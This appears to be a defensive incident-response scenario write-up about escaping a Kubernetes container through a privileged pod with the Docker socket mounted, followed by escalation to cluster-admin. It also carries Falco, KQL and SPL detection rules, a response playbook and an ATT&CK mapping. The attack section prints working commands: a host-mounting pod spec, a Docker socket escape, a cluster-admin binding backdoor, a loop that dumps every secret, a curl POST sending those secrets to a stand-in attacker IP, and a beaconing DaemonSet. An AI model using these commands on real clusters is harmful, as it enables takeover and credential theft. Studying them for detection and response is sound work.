Skip to content

SC-045: Cloud Container Escape via Privileged Kubernetes Pod

Scenario Overview

A threat actor gains initial access to a Kubernetes cluster through a compromised CI/CD pipeline token. They deploy a privileged pod with the host Docker socket mounted, escape the container boundary, and pivot laterally across the cluster. By abusing a misconfigured ClusterRoleBinding, the attacker escalates to cluster-admin privileges and exfiltrates secrets from multiple namespaces.

Environment: Multi-tenant Kubernetes cluster (v1.28) running on cloud infrastructure Initial Access: Stolen CI/CD service account token Impact: Full cluster compromise, secret exfiltration, potential supply chain risk Difficulty: Intermediate Sector: Technology / SaaS Provider


Attack Timeline

Timestamp (UTC) Phase Action
2026-03-10 02:14:33 Initial Access Attacker authenticates to API server with stolen SA token
2026-03-10 02:16:05 Execution Deploys privileged pod in dev-tools namespace
2026-03-10 02:18:22 Privilege Escalation Mounts host Docker socket (/var/run/docker.sock)
2026-03-10 02:20:47 Escape to Host Spawns host-level container via Docker socket
2026-03-10 02:23:11 Discovery Enumerates cluster nodes and service accounts
2026-03-10 02:26:34 Lateral Movement Pivots to kube-system namespace
2026-03-10 02:29:55 Privilege Escalation Binds compromised SA to cluster-admin ClusterRole
2026-03-10 02:33:18 Collection Dumps secrets from production namespaces
2026-03-10 02:37:42 Exfiltration Exfiltrates data to 203.0.113.45 via HTTPS
2026-03-10 02:41:00 Persistence Creates backdoor DaemonSet across all nodes

Technical Analysis

Phase 1: Initial Access — Stolen Service Account Token

The attacker obtains a Kubernetes service account token from a misconfigured CI/CD artifact store at ci.example.com.

# Attacker authenticates to the cluster API server
kubectl --server=https://k8s-api.example.com:6443 \
  --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlJFREFDVEVEIn0.REDACTED.REDACTED" \
  --insecure-skip-tls-verify \
  get pods -n dev-tools

The token belongs to cicd-deployer service account, which has permissions to create pods in the dev-tools namespace.

Phase 2: Deploying Privileged Container

The attacker creates a pod specification that requests privileged mode and mounts the host Docker socket.

# malicious-pod.yaml (reconstructed from API audit log)
apiVersion: v1
kind: Pod
metadata:
  name: debug-utils
  namespace: dev-tools
  labels:
    app: debug-utils
spec:
  containers:
  - name: toolkit
    image: registry.example.com/alpine:3.18
    command: ["sleep", "86400"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: docker-sock
      mountPath: /var/run/docker.sock
    - name: host-fs
      mountPath: /host
  volumes:
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock
  - name: host-fs
    hostPath:
      path: /
  serviceAccountName: cicd-deployer
  tolerations:
  - operator: "Exists"
# Attacker deploys the malicious pod
kubectl apply -f malicious-pod.yaml

Phase 3: Container Escape via Docker Socket

With the Docker socket mounted, the attacker spawns a new container with full host access.

# Inside the privileged pod
# Install Docker CLI
apk add --no-cache docker-cli

# List host containers
docker -H unix:///var/run/docker.sock ps

# Spawn a host-level container with full root access
docker -H unix:///var/run/docker.sock run -d \
  --name host-shell \
  --privileged \
  --pid=host \
  --network=host \
  -v /:/hostroot \
  registry.example.com/alpine:3.18 \
  sh -c "chroot /hostroot /bin/bash -c 'cat /etc/kubernetes/admin.conf'"

Phase 4: Cluster-Wide Privilege Escalation

The attacker reads node-level kubeconfig and escalates to cluster-admin.

# Read kubelet credentials from host filesystem
cat /host/etc/kubernetes/kubelet.conf

# Enumerate cluster role bindings
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'

# Create a new ClusterRoleBinding for the compromised SA
kubectl create clusterrolebinding backdoor-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=dev-tools:cicd-deployer

Phase 5: Secret Exfiltration

# Dump all secrets across namespaces
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
  kubectl get secrets -n $ns -o json >> /tmp/all-secrets.json
done

# Exfiltrate via HTTPS POST to attacker infrastructure
curl -X POST https://203.0.113.45/collect \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/all-secrets.json

Phase 6: Persistence — Backdoor DaemonSet

# backdoor-daemonset.yaml (reconstructed)
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor
  namespace: kube-system
  labels:
    k8s-app: node-monitor
spec:
  selector:
    matchLabels:
      k8s-app: node-monitor
  template:
    metadata:
      labels:
        k8s-app: node-monitor
    spec:
      containers:
      - name: monitor
        image: registry.example.com/alpine:3.18
        command:
        - sh
        - -c
        - "while true; do curl -s https://203.0.113.45/c2/beacon; sleep 3600; done"
        securityContext:
          privileged: true
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: "Exists"

Detection Opportunities

Falco Rules

- rule: Privileged Container Launched
  desc: Detect when a privileged container is started
  condition: >
    container and container.privileged=true
    and not container.image.repository in (allowed_privileged_images)
  output: >
    Privileged container started (user=%user.name pod=%k8s.pod.name
    ns=%k8s.ns.name image=%container.image.repository)
  priority: CRITICAL

- rule: Docker Socket Mounted in Container
  desc: Detect Docker socket mount inside a pod
  condition: >
    spawned_process and container
    and fd.name=/var/run/docker.sock
  output: >
    Docker socket access detected (user=%user.name command=%proc.cmdline
    pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: CRITICAL

KQL — Privileged Pod Creation

// Detect privileged pod creation in Kubernetes audit logs
AzureDiagnostics
| where Category == "kube-audit"
| where log_s has "create" and log_s has "pods"
| extend AuditLog = parse_json(log_s)
| where AuditLog.requestObject.spec.containers[0].securityContext.privileged == true
| project
    TimeGenerated,
    User = AuditLog.user.username,
    Namespace = AuditLog.objectRef.namespace,
    PodName = AuditLog.objectRef.name,
    Image = AuditLog.requestObject.spec.containers[0].image,
    SourceIP = AuditLog.sourceIPs[0]
| where Namespace !in ("kube-system", "monitoring")
| sort by TimeGenerated desc

KQL — ClusterRoleBinding to cluster-admin

// Detect new ClusterRoleBindings granting cluster-admin
AzureDiagnostics
| where Category == "kube-audit"
| where log_s has "clusterrolebindings" and log_s has "create"
| extend AuditLog = parse_json(log_s)
| where AuditLog.requestObject.roleRef.name == "cluster-admin"
| project
    TimeGenerated,
    User = AuditLog.user.username,
    BindingName = AuditLog.objectRef.name,
    Subjects = AuditLog.requestObject.subjects,
    SourceIP = AuditLog.sourceIPs[0],
    Decision = AuditLog.annotations["authorization.k8s.io/decision"]
| sort by TimeGenerated desc

SPL — Privileged Container Launch

index=kubernetes sourcetype="kube:apiserver:audit"
  verb=create objectRef.resource=pods
| spath path=requestObject.spec.containers{}.securityContext.privileged output=privileged
| where privileged="true"
| spath path=user.username output=actor
| spath path=objectRef.namespace output=namespace
| spath path=objectRef.name output=pod_name
| spath path=requestObject.spec.containers{}.image output=image
| where NOT namespace IN ("kube-system", "monitoring")
| table _time actor namespace pod_name image
| sort -_time

SPL — Docker Socket Access

index=kubernetes sourcetype="falco"
  rule="Docker Socket Mounted in Container"
| spath path=output_fields.k8s.pod.name output=pod_name
| spath path=output_fields.k8s.ns.name output=namespace
| spath path=output_fields.container.image.repository output=image
| table _time pod_name namespace image priority
| sort -_time

SPL — Secrets Enumeration Across Namespaces

index=kubernetes sourcetype="kube:apiserver:audit"
  verb=list objectRef.resource=secrets
| spath path=user.username output=actor
| spath path=objectRef.namespace output=namespace
| bin _time span=5m
| stats dc(namespace) as namespaces_accessed count by _time actor
| where namespaces_accessed > 3
| sort -_time

Response Playbook

Immediate Containment (0-30 minutes)

  1. Isolate the compromised pod: Delete the malicious pod and any spawned containers
  2. Revoke the stolen token: Delete and recreate the cicd-deployer service account
  3. Remove backdoor ClusterRoleBinding: kubectl delete clusterrolebinding backdoor-admin
  4. Delete backdoor DaemonSet: kubectl delete daemonset node-monitor -n kube-system
  5. Network isolation: Block outbound traffic to 203.0.113.45 at the firewall

Eradication (30 minutes - 4 hours)

  1. Audit all ClusterRoleBindings for unauthorized entries
  2. Rotate all secrets in every namespace that was accessed
  3. Scan all nodes for host-level modifications (compare against golden images)
  4. Review container images in the cluster for unauthorized images
  5. Audit CI/CD pipeline token storage and rotate all tokens
  6. Check for additional persistence mechanisms (CronJobs, mutating webhooks)

Recovery (4-24 hours)

  1. Rebuild affected nodes from clean images
  2. Implement Pod Security Standards (restricted policy) across all namespaces
  3. Deploy OPA/Gatekeeper policies to block privileged containers
  4. Enable Kubernetes audit logging at the RequestResponse level
  5. Deploy Falco or equivalent runtime security monitoring
  6. Implement network policies to restrict pod-to-pod and egress traffic

MITRE ATT&CK Mapping

Tactic Technique ID Technique Name Scenario Phase
Initial Access T1078.004 Valid Accounts: Cloud Accounts Stolen SA token
Execution T1610 Deploy Container Privileged pod creation
Privilege Escalation T1611 Escape to Host Docker socket escape
Privilege Escalation T1078.004 Valid Accounts: Cloud Accounts ClusterRoleBinding abuse
Discovery T1613 Container and Resource Discovery Namespace enumeration
Lateral Movement T1021 Remote Services Node-to-node pivoting
Collection T1005 Data from Local System Secret dumping
Exfiltration T1041 Exfiltration Over C2 Channel HTTPS exfiltration
Persistence T1053.007 Scheduled Task/Job: Container Orchestration Job Backdoor DaemonSet

Lessons Learned

  1. Pod Security Standards are non-negotiable: The restricted policy should be enforced cluster-wide, with explicit exceptions only for validated system workloads.

  2. Docker socket mounting is a cluster-admin backdoor: Any pod with access to the Docker socket can trivially escape to the host. This should be blocked by admission controllers.

  3. Service account tokens require lifecycle management: CI/CD tokens should be short-lived (bound service account tokens), scoped to minimal permissions, and rotated regularly.

  4. Runtime security monitoring fills the gap: Static policies prevent known-bad configurations, but runtime tools like Falco detect the actual exploitation behavior.

  5. Kubernetes audit logs are the primary forensic source: Without RequestResponse audit level, reconstruction of attacker actions is nearly impossible.

  6. Namespace isolation is not security isolation: Without network policies, RBAC hardening, and runtime monitoring, namespaces provide only organizational separation.


Cross-References